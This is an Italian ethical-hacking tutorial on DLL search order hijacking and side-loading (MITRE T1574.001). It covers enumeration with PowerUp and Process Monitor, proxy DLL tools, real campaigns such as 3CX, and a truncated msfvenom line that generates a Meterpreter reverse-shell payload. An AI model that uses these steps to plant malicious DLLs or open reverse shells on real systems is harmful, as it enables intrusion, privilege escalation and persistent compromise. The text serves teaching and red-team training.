Dirottamento DLL: DLL Search Order Hijacking e Side-Loading (T1574.001)
Il dirottamento del flusso di esecuzione tramite DLL rappresenta una delle tecniche più longeve e versatili nell'arsenale offensivo Windows. Sfruttando il modo in cui il sistema operativo risolve i riferimenti alle librerie dinamiche, un attaccante può forzare un processo legittimo a caricare codice arbitrario, ereditandone privilegi, firma digitale e reputazione presso i controlli di sicurezza.
Catalogata da MITRE come T1574.001, la tecnica attraversa trasversalmente tre tattiche: Persistence (TA0003), poiché la DLL malevola viene ricaricata a ogni avvio dell'applicazione ospite; Privilege Escalation (TA0004), quando l'eseguibile vittima gira con privilegi elevati o come servizio SYSTEM; e Defense Evasion (TA0005), perché l'esecuzione avviene nel contesto di un binario trusted.
Le varianti documentate includono il side-loading (piazzare la DLL accanto a un eseguibile firmato), il search order hijacking (sfruttare l'ordine di ricerca di Windows), il phantom DLL hijacking (fornire una libreria che l'applicazione cerca ma che non esiste), la DLL substitution e la DLL redirection via manifest o registro.
L'impatto è dimostrato dai numeri: 32 gruppi APT noti la impiegano attivamente, 67 famiglie di malware la implementano nativamente e 4 campagne di rilievo l'hanno adottata come vettore primario, tra cui l'attacco alla supply chain di 3CX e l'Operation CuckooBees. Cinque mitigazioni MITRE affrontano il problema, ma la superficie d'attacco resta ampia per la difficoltà intrinseca di distinguere caricamenti legittimi da abusi.
L'approccio metodologico parte sempre dall'enumerazione delle opportunità di hijacking sull'host bersaglio. Il modulo PowerUp incluso in PowerSploit (open source) rimane il riferimento storico: la funzione Find-ProcessDLLHijack individua processi in esecuzione che caricano DLL da percorsi scrivibili, mentre Find-PathDLLHijack verifica se la variabile PATH contiene directory modificabili da utenti non privilegiati. Analogamente, Empire (open source) espone moduli equivalenti per operazioni post-exploitation.
Per un'analisi più granulare a livello di runtime, Process Monitor di Sysinternals (gratuito) è insostituibile. Applicando il filtro Result contains NAME NOT FOUND combinato con Path ends with .dll, emergono immediatamente i phantom DLL: librerie che un processo cerca in sequenza e non trova, offrendo la possibilità di piantarne una versione malevola nella prima directory della catena di ricerca.
Una volta identificato un candidato, la generazione del payload avviene tipicamente con msfvenom (Metasploit Framework, open source):
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=
Per scenari più realistici, un proxy DLL preserva la funzionalità originale forwardando le export function alla libreria autentica. Strumenti come Spartacus (open source) e Siofra (open source) automatizzano la generazione di proxy DLL con export forwarding corretto, evitando crash dell'applicazione ospite.
Le catene d'attacco osservate in campagne reali seguono pattern ricorrenti. Il side-loading classico prevede la consegna in un archivio (ISO, ZIP, LNK) contenente un eseguibile firmato — Microsoft, Kaspersky, McAfee, Adobe, TeamViewer sono ricorrenti — accanto alla DLL malevola. Brute Ratel C4 (a pagamento) sfrutta questo pattern impacchettando una DLL spoofata come Version.DLL insieme a OneDriveUpdater.exe. Cobalt Strike (a pagamento) implementa payload analoghi tramite il modulo di beacon DLL.
Su ESXi e ambienti Linux la tecnica ha equivalenti concettuali via LD_PRELOAD e manipolazione di LD_LIBRARY_PATH, ma il presente sotto-nodo MITRE è specificamente Windows-centrico. Un esercizio red team maturo include anche il chaining: una DLL loader minimale che risolve dinamicamente una seconda DLL cifrata, spezzando le funzionalità su più moduli per frammentare l'analisi statica — pattern osservato in famiglie come AppleJeus durante il 3CX Supply Chain Attack.
Per validazione automatizzata in laboratorio, Atomic Red Team (open source) espone test dedicati a T1574.001 che simulano scenari di sideloading e search order hijacking documentati.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo